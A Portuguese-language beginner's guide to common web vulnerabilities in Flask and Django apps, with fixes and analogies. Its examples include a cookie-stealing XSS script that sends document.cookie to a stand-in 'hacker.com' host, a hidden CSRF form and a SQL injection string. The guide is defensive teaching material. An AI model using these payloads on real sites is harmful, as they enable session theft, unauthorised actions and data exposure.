
Guia Didático de Segurança para Iniciantes — Aplicações em Python (Flask / Django)

Objetivo:

Explicar vulnerabilidades comuns em aplicações web feitas com Flask e Django, sem exigir conhecimento prévio em programação. Foco em **riscos reais, analogias simples e boas práticas** de forma clara e prática.

1. CSP Não Configurado (Content Security Policy)

Conceito:

CSP é uma proteção do navegador que determina **quais scripts e recursos são confiáveis**. Se não estiver ativada, scripts maliciosos (como XSS) podem ser carregados.

Exemplo prático:

Uma página permite comentários. Um atacante insere:

```
<script>document.location='http://hacker.com?cookie='+document.cookie</script>
```

Sem CSP, o navegador executa esse script, enviando seus dados ao hacker.

Correção:

No Flask, use a biblioteca [Flask-Talisman](#) para definir políticas CSP com segurança.

Analogia:

É como deixar seu computador aceitar *qualquer pendrive* conectado, mesmo de estranhos. Com CSP, você só aceita “pendrives” da sua empresa.

2. Cookies Inseguros

Conceito:

Cookies mantêm os usuários logados. Se não forem configurados corretamente, podem ser **roubados ou usados indevidamente**.

Riscos:

- Sem HttpOnly: um script pode acessar o cookie.
- Sem Secure: o cookie viaja por HTTP (inseguro).
- Sem SameSite: outro site pode reutilizar seu cookie.

Correção:

Configure no Flask:

```
app.config['SESSION_COOKIE_HTTPONLY'] = True
```

```
app.config['SESSION_COOKIE_SECURE'] = True
```

```
app.config['SESSION_COOKIE_SAMESITE'] = 'Strict'
```

No Django:

```
SESSION_COOKIE_HTTPONLY = True
```

```
SESSION_COOKIE_SECURE = True
```

```
SESSION_COOKIE_SAMESITE = 'Strict'
```

Analogia:

É como sua chave da casa: se estiver visível, sem capa protetora e ainda for emprestada a estranhos, qualquer um pode entrar.

3. Falta de Proteção Anti-CSRF (Cross-Site Request Forgery)

Conceito:

CSRF acontece quando um site malicioso faz ações usando a sessão do usuário em outro site.

Exemplo prático:

Você está logado no painel de administração. Visita um site que carrega um formulário invisível:

```
<form action="https://meusite.com/deletar-conta" method="POST">  
  <input type="hidden" name="usuario" value="admin">  
</form>
```

O navegador envia automaticamente os cookies de sessão — e a ação é executada sem você perceber.

Correção:

- Em Flask: use **Flask-WTF**, que gera e valida tokens CSRF.
- Em Django: a proteção já vem embutida com `django.middleware.csrf.CsrfViewMiddleware`.

Analogia:

É como um pedido falso de transferência que aparece no seu extrato — mas foi enviado por alguém que já estava com seu token de acesso.

4. Vazamento de Informações nos Cabeçalhos HTTP

Conceito:

Alguns frameworks web, como Flask, Django ou Werkzeug, adicionam informações nos cabeçalhos HTTP da resposta — como o nome do framework e a versão.

Riscos:

Um cabeçalho como:

`Server: Werkzeug/2.0.1`

informa ao atacante exatamente qual tecnologia você está usando. Com isso, ele pode buscar **falhas conhecidas** dessa versão.

Correção:

- No Flask, remova cabeçalhos sensíveis manualmente ou com `after_request`.
- Em servidores como Nginx/Apache, sobrescreva ou esconda o cabeçalho `Server`.

Analogia:

É como dizer: "Meu carro está com a trava quebrada e fica destrancado das 14h às 15h". Você não deveria divulgar isso.

5. Falta de Sanitização de Entradas

Conceito:

Quando o sistema aceita qualquer dado de entrada sem validar, um atacante pode **injetar comandos maliciosos**.

Exemplos:

- **SQL Injection:** o invasor altera uma consulta de banco com:
 - `' OR 1=1 --`

Isso pode dar acesso a **todas as informações do banco**.

- **XSS:** o invasor insere código HTML/JS que será executado no navegador da vítima.

Correção:





- Use **ORMs** como SQLAlchemy (Flask) ou o ORM do Django — eles fazem a sanitização automaticamente.
- Escape as saídas HTML usando:
 - `MarkupSafe` no Flask.
 - Os filtros `{{ var|escape }}` no Django Templates.

Analogia:

É como aceitar um currículo onde o campo “nome” tem um vírus embutido. Se o sistema exibir esse “nome” sem cuidado, o vírus roda.

Conclusão e Recomendações

Para iniciantes:

-  Nunca confie nos dados fornecidos por usuários.
-  Sempre filtre, valide e escape entradas e saídas.
-  Use frameworks com proteções automáticas (Django, Flask com extensões).
-  Mantenha os pacotes e bibliotecas atualizados.

Ferramentas úteis:

- [Flask-Talisman \(CSP\)](#)
 - [Flask-WTF \(CSRF\)](#)
 - [OWASP Cheat Sheet Series](#)
-